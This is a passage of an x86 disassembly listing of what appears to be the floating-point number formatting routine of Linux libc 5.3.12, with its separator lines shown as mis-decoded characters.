eax, ds:0[ebx*4] add eax, [ebp+var_20] cmp dword ptr [eax-4], 0 jnz short loc_8053F01 loc_8053EFC: ; CODE XREF: sub_8053310+B8Aj mov ebx, [ebp+var_24] loc_8053EFF: ; CODE XREF: sub_8053310+B90j sub ebx, edi loc_8053F01: ; CODE XREF: sub_8053310+BEAj mov [ebp+var_24], ebx jmp loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053F0C: ; CODE XREF: sub_8053310+3EDj cmp [ebp+var_18], 0 jge loc_8054394 mov [ebp+var_6C], 0 mov [ebp+var_70], 0Ch mov [ebp+var_74], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12" mov eax, [ebp+var_58] push eax mov edx, [ebp+var_24] push edx lea ecx, [ebp+var_44] push ecx mov eax, [ebp+var_20] push eax call __mpn_lshift mov ebx, eax mov [ebp+var_28], ebx mov edx, [ebp+var_24] shl edx, 2 mov [ebp+var_A0], edx mov ecx, [ebp+var_20] mov [ecx+edx], ebx inc [ebp+var_24] mov [ebp+var_10], 1 neg [ebp+var_18] add esp, 10h mov [ebp+var_98], 8068E80h lea esi, [esi+0] loc_8053F74: ; CODE XREF: sub_8053310+FD6j add [ebp+var_98], 0FFFFFFF0h add [ebp+var_74], 0FFFFFFF0h mov edx, [ebp+var_18] mov eax, [ebp+var_98] cmp [eax+8], edx jg loc_80542D6 mov ebx, [eax] add ebx, 0FFFFFFFEh cmp [ebp+var_24], ebx jge short loc_8053FB4 mov ecx, [ebp+var_24] push ecx mov eax, [ebp+var_20] push eax push ebx mov edx, [ebp+var_74] mov edx, [edx] add edx, 8 push edx mov ecx, [ebp+var_30] push ecx jmp short loc_8053FD5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053FB4: ; CODE XREF: sub_8053310+C89j mov eax, [ebp+var_98] mov eax, [eax] add eax, 0FFFFFFFEh push eax mov edx, [ebp+var_74] mov edx, [edx] add edx, 8 push edx mov ecx, [ebp+var_24] push ecx mov eax, [ebp+var_20] push eax mov edx, [ebp+var_30] push edx loc_8053FD5: ; CODE XREF: sub_8053310+CA1j call __mpn_mul mov ebx, eax mov [ebp+var_28], ebx add esp, 14h mov ebx, [ebp+var_24] mov ecx, [ebp+var_98] add ebx, [ecx] add ebx, 0FFFFFFFEh cmp [ebp+var_28], 0 jnz short loc_8053FF7 dec ebx loc_8053FF7: ; CODE XREF: sub_8053310+CE4j lea eax, ds:0[ebx*4] add eax, [ebp+var_30] add eax, 0FFFFFFFCh bsr eax, [eax] mov esi, eax xor esi, 1Fh mov edi, ebx sub edi, [ebp+var_24] mov edx, edi shl edx, 5 lea eax, [esi-1Fh] mov edi, edx sub edi, eax mov eax, [ebp+var_18] add eax, 3 cmp edi, eax jnz short loc_805406D cmp esi, 1Ch jg short loc_8054048 mov [ebp+var_4C], 0 mov eax, 1Ch sub eax, esi mov ecx, eax mov eax, 0Ah shl eax, cl mov [ebp+var_48], eax jmp short loc_805406D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054048: ; CODE XREF: sub_8053310+D1Aj mov [ebp+var_4C], 0A0000000h mov [ebp+var_48], 0 mov eax, 20h sub eax, esi push eax push 2 lea eax, [ebp+var_4C] push eax push eax call __mpn_lshift add esp, 10h loc_805406D: ; CODE XREF: sub_8053310+D15j ; sub_8053310+D36j mov edx, [ebp+var_18] add edx, 3 mov [ebp+var_A4], edx cmp edi, edx jl short loc_80540B3 jnz loc_80542D6 lea ecx, ds:0[ebx*4] add ecx, [ebp+var_30] mov [ebp+var_A4], ecx mov eax, [ecx-4] mov [ebp+var_A0], eax cmp [ebp+var_48], eax ja short loc_80540B3 jnz loc_80542D6 mov edx, [ecx-8] cmp [ebp+var_4C], edx jbe loc_80542D6 loc_80540B3: ; CODE XREF: sub_8053310+D6Bj ; sub_8053310+D8Fj sub [ebp+var_18], edi mov eax, 1 mov ecx, [ebp+var_70] shl eax, cl or [ebp+var_6C], eax cmp [ebp+var_18], 0 jge short loc_80540CC sub esi, [ebp+var_18] loc_80540CC: ; CODE XREF: sub_8053310+DB7j xor edi, edi mov eax, [ebp+var_30] mov [ebp+var_A4], eax cmp dword ptr [eax], 0 jnz short loc_8054106 mov [ebp+var_A0], eax mov [ebp+var_A4], 0 loc_80540EC: ; CODE XREF: sub_8053310+DF4j add [ebp+var_A4], 4 inc edi mov edx, [ebp+var_A4] mov ecx, [ebp+var_A0] cmp dword ptr [ecx+edx], 0 jz short loc_80540EC loc_8054106: ; CODE XREF: sub_8053310+DCAj cmp esi, 1Fh jnz loc_8054234 mov eax, ebx sub eax, edi mov [ebp+var_9C], eax test eax, eax jle loc_8054229 mov edx, [ebp+var_20] mov [ebp+var_A4], edx lea ecx, ds:0[edi*4] mov [ebp+var_A0], ecx xor esi, esi shl eax, 2 mov [ebp+var_94], eax mov edx, [ebp+var_9C] and edx, 3 mov [ebp+var_9C], edx jz short loc_80541BA cmp edx, 1 jle short loc_8054194 cmp edx, 2 jle short loc_8054176 add ecx, [ebp+var_30] mov ecx, [ecx] mov eax, [ebp+var_A4] mov [eax], ecx add [ebp+var_A0], 4 mov esi, 4 loc_8054176: ; CODE XREF: sub_8053310+E4Bj mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax+esi], ecx add [ebp+var_A0], 4 add esi, 4 loc_8054194: ; CODE XREF: sub_8053310+E46j mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax+esi], ecx add [ebp+var_A0], 4 add esi, 4 cmp [ebp+var_94], esi jz short loc_8054229 loc_80541BA: ; CODE XREF: sub_8053310+E41j mov edx, [ebp+var_A4] add edx, esi mov [ebp+var_A4], edx loc_80541C8: ; CODE XREF: sub_8053310+F17j mov ecx, [ebp+var_A0] add ecx, [ebp+var_30] mov eax, [ecx] mov edx, [ebp+var_A4] mov [edx], eax mov ecx, [ebp+var_A0] add ecx, [ebp+var_30] mov eax, [ecx+4] mov [edx+4], eax mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx+8] mov eax, [ebp+var_A4] mov [eax+8], ecx mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx+0Ch] mov [eax+0Ch], ecx add [ebp+var_A0], 10h add eax, 10h mov [ebp+var_A4], eax add esi, 10h cmp [ebp+var_94], esi jnz short loc_80541C8 loc_8054229: ; CODE XREF: sub_8053310+E0Bj ; sub_8053310+EA8j sub ebx, edi mov [ebp+var_24], ebx jmp loc_80542D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054234: ; CODE XREF: sub_8053310+DF9j lea eax, ds:0[edi*4] mov edx, [ebp+var_30] mov [ebp+var_A4], edx bsf ecx, [edx+eax] mov [ebp+var_A0], ecx test edi, edi jnz short loc_805428C mov eax, 1Fh sub eax, esi cmp eax, ecx jle short loc_805429B inc esi mov [ebp+var_9C], esi push esi push ebx push edx mov eax, [ebp+var_20] push eax call __mpn_lshift mov esi, eax mov [ebp+var_28], esi lea edx, [ebx+1] mov [ebp+var_24], edx lea ebx, ds:4[ebx*4] mov ecx, ebx add ecx, [ebp+var_20] mov [ecx-4], esi jmp short loc_80542D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805428C: ; CODE XREF: sub_8053310+F40j mov eax, 1Fh sub eax, esi cmp [ebp+var_A0], eax jl short loc_80542B0 loc_805429B: ; CODE XREF: sub_8053310+F4Bj mov eax, 1Fh sub eax, esi push eax sub ebx, edi push ebx lea eax, ds:0[edi*4] jmp short loc_80542C3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80542B0: ; CODE XREF: sub_8053310+F89j mov eax, 1Fh sub eax, esi push eax inc ebx sub ebx, edi push ebx lea eax, ds:0FFFFFFFCh[edi*4] loc_80542C3: ; CODE XREF: sub_8053310+F9Dj add eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call __mpn_rshift mov [ebp+var_24], ebx loc_80542D3: ; CODE XREF: sub_8053310+F7Aj add esp, 10h loc_80542D6: ; CODE XREF: sub_8053310+C7Bj ; sub_8053310+D6Dj ... dec [ebp+var_70] cmp [ebp+var_74], offset off_8068DBC jz short loc_80542EC cmp [ebp+var_18], 0 jg loc_8053F74 loc_80542EC: ; CODE XREF: sub_8053310+FD0j cmp [ebp+var_18], 0 jle loc_805438B push 0Ah mov eax, [ebp+var_24] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+var_30] push eax call __mpn_mul_1 mov [ebp+var_28], eax mov ebx, [ebp+var_24] mov eax, [ebp+var_30] bsf esi, [eax] add esp, 10h cmp [ebp+var_18], 4 jg short loc_8054328 cmp [ebp+var_18], esi jg short loc_805432D jmp short loc_8054364 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054328: ; CODE XREF: sub_8053310+100Cj cmp esi, 3 jg short loc_8054364 loc_805432D: ; CODE XREF: sub_8053310+1011j mov esi, 1Ch cmp [ebp+var_18], 4 jg short loc_8054340 mov esi, 20h sub esi, [ebp+var_18] loc_8054340: ; CODE XREF: sub_8053310+1026j push esi push ebx mov eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call __mpn_lshift mov esi, eax mov [ebp+var_28], esi add esp, 10h test esi, esi jz short loc_8054384 mov eax, [ebp+var_20] mov [eax+ebx*4], esi inc ebx jmp short loc_8054384 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054364: ; CODE XREF: sub_8053310+1013j ; sub_8053310+101Bj mov esi, 4 cmp [ebp+var_18], 4 jg short loc_8054372 mov esi, [ebp+var_18] loc_8054372: ; CODE XREF: sub_8053310+105Dj push esi push ebx mov eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call __mpn_rshift add esp, 10h loc_8054384: ; CODE XREF: sub_8053310+1049j ; sub_8053310+1052j mov [ebp+var_24], ebx or byte ptr [ebp+var_6C], 1 loc_805438B: ; CODE XREF: sub_8053310+FE0j mov eax, [ebp+var_6C] mov [ebp+var_18], eax jmp short loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054394: ; CODE XREF: sub_8053310+C00j mov edx, [ebp+var_58] add edx, [ebp+var_18] push edx mov ecx, [ebp+var_24] push ecx lea eax, [ebp+var_44] push eax mov edx, [ebp+var_20] push edx call __mpn_lshift mov ebx, eax mov [ebp+var_28], ebx mov ecx, [ebp+var_24] shl ecx, 2 mov [ebp+var_A0], ecx mov eax, [ebp+var_20] mov [eax+ecx], ebx inc [ebp+var_24] mov [ebp+var_18], 0 add esp, 10h loc_80543D0: ; CODE XREF: sub_8053310+7E9j ; sub_8053310+85Aj ... mov edx, [ebp+arg_4] mov edx, [edx+4] mov [ebp+var_78], edx mov [ebp+var_80], 0 mov [ebp+var_88], 0 mov ecx, [ebp+arg_4] movzx ebx, byte ptr [ecx+8] mov eax, dword_8078FA4 cmp dword ptr [eax+ebx*4], 65h jnz short loc_8054420 mov [ebp+var_14], ebx mov [ebp+var_7C], 1 mov esi, [ecx] test esi, esi jge short loc_8054411 mov esi, 6 loc_8054411: ; CODE XREF: sub_8053310+10FAj mov [ebp+var_84], esi mov ebx, esi add ebx, 8 jmp short loc_8054466 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054420: ; CODE XREF: sub_8053310+10EAj mov edx, [ebp+arg_4] cmp byte ptr [edx+8], 66h jnz short loc_8054480 mov [ebp+var_14], 66h mov esi, [edx] test esi, esi jge short loc_805443B mov esi, 6 loc_805443B: ; CODE XREF: sub_8053310+1124j mov [ebp+var_84], esi cmp [ebp+var_10], 0 jnz short loc_805445C mov ecx, [ebp+var_18] inc ecx mov [ebp+var_7C], ecx mov eax, esi add eax, 2 mov ebx, eax add ebx, [ebp+var_18] jmp short loc_8054466 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805445C: ; CODE XREF: sub_8053310+1135j mov [ebp+var_7C], 1 lea ebx, [esi+2] loc_8054466: ; CODE XREF: sub_8053310+110Cj ; sub_8053310+1148j mov [ebp+var_8C], 7FFFFFFFh mov [ebp+var_90], 1 jmp loc_8054550 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054480: ; CODE XREF: sub_8053310+1117j mov edx, [ebp+arg_4] cmp dword ptr [edx], 0 jl short loc_80544A0 mov ecx, [edx] mov [ebp+var_8C], ecx test ecx, ecx jnz short loc_80544AA mov [ebp+var_8C], 1 jmp short loc_80544AA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80544A0: ; CODE XREF: sub_8053310+1176j mov [ebp+var_8C], 6 loc_80544AA: ; CODE XREF: sub_8053310+1182j ; sub_8053310+118Ej cmp [ebp+var_10], 0 jnz short loc_80544C0 mov eax, [ebp+var_8C] cmp [ebp+var_18], eax jge short loc_80544C6 jmp short loc_8054500 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80544C0: ; CODE XREF: sub_8053310+119Ej cmp [ebp+var_18], 4 jle short loc_8054500 loc_80544C6: ; CODE XREF: sub_8053310+11A9j mov edx, [ebp+arg_4] movzx edx, byte ptr [edx+8] mov ebx, 65h mov ecx, dword_8078FA0 test byte ptr [ecx+edx*2+1], 1 jz short loc_80544E4 mov ebx, 45h loc_80544E4: ; CODE XREF: sub_8053310+11CDj mov [ebp+var_14], ebx mov esi, [ebp+var_8C] dec esi mov [ebp+var_7C], 1 mov ebx, [ebp+var_8C] add ebx, 7 jmp short loc_805452D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054500: ; CODE XREF: sub_8053310+11ABj ; sub_8053310+11B4j mov [ebp+var_14], 66h mov [ebp+var_7C], 0 cmp [ebp+var_10], 0 jnz short loc_805451B mov eax, [ebp+var_18] inc eax mov [ebp+var_7C], eax loc_805451B: ; CODE XREF: sub_8053310+1202j mov esi, [ebp+var_8C] sub esi, [ebp+var_7C] mov ebx, [ebp+var_8C] add ebx, ebx inc ebx loc_805452D: ; CODE XREF: sub_8053310+11EEj mov [ebp+var_84], 0 mov edx, [ebp+arg_4] cmp dword ptr [edx+18h], 0 jz short loc_8054546 mov [ebp+var_84], esi loc_8054546: ; CODE XREF: sub_8053310+122Ej mov [ebp+var_90], 0 loc_8054550: ; CODE XREF: sub_8053310+116Aj cmp [ebp+var_50], 0 jz short loc_805456E mov ecx, [ebp+var_38] push ecx mov eax, [ebp+var_50] push eax mov edx, [ebp+var_7C] push edx call sub_8054C28 mov edi, eax add ebx, edi add esp, 0Ch loc_805456E: ; CODE XREF: sub_8053310+1244j lea eax, [ebx+5] and al, 0FCh sub esp, eax lea edi, [esp+164h+var_162] mov ebx, edi cmp [ebp+var_10], 0 jz short loc_805458B cmp [ebp+var_14], 66h jz loc_8054644 loc_805458B: ; CODE XREF: sub_8053310+126Fj mov ecx, [ebp+var_7C] cmp [ebp+var_80], ecx jge short loc_8054612 mov eax, ecx sub eax, [ebp+var_80] and eax, 3 mov [ebp+var_A4], eax jz short loc_80545DC cmp eax, 1 jle short loc_80545C7 cmp eax, 2 jle short loc_80545BA inc [ebp+var_80] mov ecx, ebp call sub_80531DC mov [ebx], al inc ebx loc_80545BA: ; CODE XREF: sub_8053310+129Bj inc [ebp+var_80] mov ecx, ebp call sub_80531DC mov [ebx], al inc ebx loc_80545C7: ; CODE XREF: sub_8053310+1296j inc [ebp+var_80] mov ecx, ebp call sub_80531DC mov [ebx], al inc ebx mov eax, [ebp+var_7C] cmp [ebp+var_80], eax jge short loc_8054612 loc_80545DC: ; CODE XREF: sub_8053310+1291j ; sub_8053310+1300j mov ecx, ebp call sub_80531DC mov [ebx], al mov ecx, ebp call sub_80531DC mov [ebx+1], al mov ecx, ebp call sub_80531DC mov [ebx+2], al add [ebp+var_80], 4 mov ecx, ebp call sub_80531DC mov [ebx+3], al add ebx, 4 mov edx, [ebp+var_7C] cmp [ebp+var_80], edx jl short loc_80545DC loc_8054612: ; CODE XREF: sub_8053310+1281j ; sub_8053310+12CAj mov [ebp+var_90], 1 mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_805464B cmp [ebp+var_84], 0 jg short loc_805464B test esi, esi jle short loc_8054651 cmp [ebp+var_24], 1 jg short loc_805464B mov eax, [ebp+var_20] cmp dword ptr [eax], 0 jz short loc_8054651 jmp short loc_805464B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054644: ; CODE XREF: sub_8053310+1275j mov byte ptr [ebx], 30h inc ebx dec [ebp+var_18] loc_805464B: ; CODE XREF: sub_8053310+1313j ; sub_8053310+131Cj ... mov al, byte ptr [ebp+var_34] mov [ebx], al inc ebx loc_8054651: ; CODE XREF: sub_8053310+1320j ; sub_8053310+132Ej mov eax, [ebp+var_84] cmp [ebp+var_88], eax jl short loc_8054676 cmp [ebp+var_88], esi jge short loc_80546C8 nop loc_8054668: ; CODE XREF: sub_8053310+13B6j cmp [ebp+var_24], 1 jg short loc_8054676 mov eax, [ebp+var_20] cmp dword ptr [eax], 0 jz short loc_80546C8 loc_8054676: ; CODE XREF: sub_8053310+134Dj ; sub_8053310+135Cj ... inc [ebp+var_88] mov ecx, ebp call sub_80531DC mov [ebx], al cmp al, 30h jz short loc_8054698 mov [ebp+var_90], 1 jmp short loc_80546B1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054698: ; CODE XREF: sub_8053310+1377j cmp [ebp+var_90], 0 jnz short loc_80546B1 inc esi cmp [ebp+var_84], 0 jle short loc_80546B1 inc [ebp+var_84] loc_80546B1: ; CODE XREF: sub_8053310+1383j ; sub_8053310+138Fj ... inc ebx mov edx, [ebp+var_84] cmp [ebp+var_88], edx jl short loc_8054676 cmp [ebp+var_88], esi jl short loc_8054668 loc_80546C8: ; CODE XREF: sub_8053310+1355j ; sub_8053310+1364j mov ecx, ebp call sub_80531DC movzx esi, al cmp esi, 34h jle loc_8054914 mov [ebp+var_A4], ebx cmp esi, 35h jnz short loc_80546FE cmp [ebp+var_24], 1 jnz short loc_80546FE mov eax, [ebp+var_20] cmp dword ptr [eax], 0 jnz short loc_80546FE test byte ptr [ebx-1], 1 jz loc_8054914 loc_80546FE: ; CODE XREF: sub_8053310+13D4j ; sub_8053310+13DAj ... cmp [ebp+var_88], 0 jle short loc_805474F dec [ebp+var_A4] mov ecx, [ebp+var_A4] movzx ecx, byte ptr [ecx] cmp [ebp+var_34], ecx jz short loc_805474F nop loc_805471C: ; CODE XREF: sub_8053310+1427j mov eax, [ebp+var_A4] cmp byte ptr [eax], 39h jnz short loc_8054739 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax movzx edx, byte ptr [eax] cmp [ebp+var_34], edx jnz short loc_805471C loc_8054739: ; CODE XREF: sub_8053310+1415j mov ecx, [ebp+var_A4] movzx ecx, byte ptr [ecx] cmp [ebp+var_34], ecx jz short loc_805474F mov eax, [ebp+var_A4] inc byte ptr [eax] loc_805474F: ; CODE XREF: sub_8053310+13F5j ; sub_8053310+1409j ... cmp [ebp+var_88], 0 jz short loc_805476A mov edx, [ebp+var_A4] movzx edx, byte ptr [edx] cmp [ebp+var_34], edx jnz loc_8054914 loc_805476A: ; CODE XREF: sub_8053310+1446j mov ecx, [ebp+var_A4] movzx ecx, byte ptr [ecx-1] cmp [ebp+var_34], ecx jnz short loc_805477F dec [ebp+var_A4] loc_805477F: ; CODE XREF: sub_8053310+1467j dec [ebp+var_A4] cmp [ebp+var_A4], edi jb loc_805485C lea edx, [edi-1] mov eax, edx sub eax, [ebp+var_A4] mov esi, eax and esi, 3 cmp [ebp+var_A4], edx jle short loc_80547E5 test esi, esi jz short loc_8054800 cmp esi, 3 jge short loc_80547E5 cmp esi, 2 jge short loc_80547D0 mov eax, [ebp+var_A4] cmp byte ptr [eax], 39h jnz loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax loc_80547D0: ; CODE XREF: sub_8053310+14A5j mov edx, [ebp+var_A4] cmp byte ptr [edx], 39h jnz short loc_8054846 mov byte ptr [edx], 30h dec edx mov [ebp+var_A4], edx loc_80547E5: ; CODE XREF: sub_8053310+1497j ; sub_8053310+14A0j mov ecx, [ebp+var_A4] cmp byte ptr [ecx], 39h jnz short loc_8054846 mov byte ptr [ecx], 30h dec ecx mov [ebp+var_A4], ecx cmp ecx, edi jb short loc_805485C lea esi, [esi] loc_8054800: ; CODE XREF: sub_8053310+149Bj ; sub_8053310+1534j mov eax, [ebp+var_A4] cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp eax, edi jnb short loc_8054800 loc_8054846: ; CODE XREF: sub_8053310+14B0j ; sub_8053310+14C9j ... cmp [ebp+var_A4], edi jb short loc_805485C mov edx, [ebp+var_A4] inc byte ptr [edx] jmp loc_8054914 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805485C: ; CODE XREF: sub_8053310+147Bj ; sub_8053310+14ECj ... cmp [ebp+var_14], 66h jz short loc_8054880 mov byte ptr [edi], 31h cmp [ebp+var_10], 0 jnz short loc_8054874 mov esi, [ebp+var_18] inc esi jmp short loc_8054878 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054874: ; CODE XREF: sub_8053310+1559j mov esi, [ebp+var_18] dec esi loc_8054878: ; CODE XREF: sub_8053310+155Fj mov [ebp+var_18], esi jmp short loc_80548F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054880: ; CODE XREF: sub_8053310+1550j mov ecx, [ebp+var_8C] cmp [ebp+var_80], ecx jnz short loc_80548EC dec edi mov al, byte ptr [ebp+var_34] mov [edi], al dec edi mov byte ptr [edi], 31h mov edx, [ebp+arg_4] cmp dword ptr [edx+18h], 0 jnz short loc_80548A7 cmp [ebp+var_88], 0 jle short loc_80548B5 loc_80548A7: ; CODE XREF: sub_8053310+158Cj mov ecx, [ebp+var_80] mov byte ptr [edi+ecx+2], 30h inc [ebp+var_88] loc_80548B5: ; CODE XREF: sub_8053310+1595j mov eax, [ebp+var_80] add [ebp+var_88], eax mov [ebp+var_80], 1 inc [ebp+var_18] mov edx, [ebp+arg_4] movzx edx, byte ptr [edx+8] mov esi, 65h mov ecx, dword_8078FA0 test byte ptr [ecx+edx*2+1], 1 jz short loc_80548E6 mov esi, 45h loc_80548E6: ; CODE XREF: sub_8053310+15CFj mov [ebp+var_14], esi jmp short loc_80548F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80548EC: ; CODE XREF: sub_8053310+1579j dec edi mov byte ptr [edi], 31h inc [ebp+var_80] loc_80548F3: ; CODE XREF: sub_8053310+156Bj ; sub_8053310+15D9j mov esi, [ebp+var_80] add esi, [ebp+var_88] cmp [ebp+var_8C], esi jge short loc_8054914 mov eax, esi sub eax, [ebp+var_8C] sub ebx, eax sub [ebp+var_88], eax loc_8054914: ; CODE XREF: sub_8053310+13C5j ; sub_8053310+13E8j ... mov eax, [ebp+var_84] cmp [ebp+var_88], eax jle short loc_805493F lea esi, [esi] loc_8054924: ; CODE XREF: sub_8053310+162Dj cmp byte ptr [ebx-1], 30h jnz short loc_805493F dec ebx dec [ebp+var_88] mov edx, [ebp+var_84] cmp [ebp+var_88], edx jg short loc_8054924 loc_805493F: ; CODE XREF: sub_8053310+1610j ; sub_8053310+1618j cmp [ebp+var_88], 0 jnz short loc_805495B mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_805495B movzx eax, byte ptr [ebx-1] cmp [ebp+var_34], eax jnz short loc_805495B dec ebx loc_805495B: ; CODE XREF: sub_8053310+1636j ; sub_8053310+163Fj ... cmp [ebp+var_50], 0 jz short loc_8054979 mov eax, [ebp+var_38] push eax mov edx, [ebp+var_50] push edx mov ecx, [ebp+var_80] push ecx push ebx push edi call sub_8054C7C mov ebx, eax add esp, 14h loc_8054979: ; CODE XREF: sub_8053310+164Fj cmp [ebp+var_14], 66h jz loc_8054A32 mov al, byte ptr [ebp+var_14] mov [ebx], al inc ebx mov esi, ebx inc ebx mov byte ptr [ebp+var_A4], 2Bh cmp [ebp+var_10], 0 jz short loc_80549A0 mov byte ptr [ebp+var_A4], 2Dh loc_80549A0: ; CODE XREF: sub_8053310+1687j mov al, byte ptr [ebp+var_A4] mov [esi], al mov [ebp+var_A0], 0Ah mov edx, [ebp+var_A0] cmp [ebp+var_18], edx jl short loc_80549DA lea esi, [esi+0] loc_80549C0: ; CODE XREF: sub_8053310+16C8j mov ecx, [ebp+var_A0] lea ecx, [ecx+ecx*8] add [ebp+var_A0], ecx mov eax, [ebp+var_A0] cmp [ebp+var_18], eax jge short loc_80549C0 loc_80549DA: ; CODE XREF: sub_8053310+16ABj cmp [ebp+var_18], 9 jg short loc_80549E8 mov byte ptr [ebx], 30h inc ebx jmp short loc_8054A29 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80549E8: ; CODE XREF: sub_8053310+16CEj ; sub_8053310+1717j mov eax, [ebp+var_A0] mov ecx, 0Ah cdq idiv ecx mov [ebp+var_A0], eax mov esi, [ebp+var_18] mov eax, esi cdq idiv [ebp+var_A0] mov esi, eax add al, 30h mov [ebx], al inc ebx mov esi, [ebp+var_18] mov eax, esi cdq idiv [ebp+var_A0] mov esi, edx mov [ebp+var_18], esi cmp [ebp+var_A0], 0Ah jg short loc_80549E8 loc_8054A29: ; CODE XREF: sub_8053310+16D4j mov cl, byte ptr [ebp+var_18] add cl, 30h mov [ebx], cl inc ebx loc_8054A32: ; CODE XREF: sub_8053310+166Dj cmp [ebp+var_3C], 0 jnz short loc_8054A47 mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_8054A47 cmp dword ptr [eax+1Ch], 0 jz short loc_8054A4A loc_8054A47: ; CODE XREF: sub_8053310+1726j ; sub_8053310+172Fj dec [ebp+var_78] loc_8054A4A: ; CODE XREF: sub_8053310+1735j mov edx, ebx sub edx, edi sub [ebp+var_78], edx mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jnz short loc_8054A8C cmp byte ptr [ecx+2Ch], 30h jz short loc_8054A8C cmp [ebp+var_78], 0 jle short loc_8054A8C mov eax, [ebp+var_78] push eax movzx edx, byte ptr [ecx+2Ch] push edx mov ecx, [ebp+arg_0] push ecx call _IO_padn mov esi, eax add esp, 0Ch cmp [ebp+var_78], esi jnz loc_8054BD6 mov eax, [ebp+var_78] add [ebp+var_5C], eax loc_8054A8C: ; CODE XREF: sub_8053310+1748j ; sub_8053310+174Ej ... cmp [ebp+var_3C], 0 jz short loc_8054ACC mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_8054AB8 push 2Dh push ecx loc_8054AA3: ; CODE XREF: sub_8053310+17D6j ; sub_8053310+1806j call sub_8061910 mov esi, eax add esp, 8 cmp esi, 0FFFFFFFFh jz loc_8054BD6 jmp short loc_8054B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054AB8: ; CODE XREF: 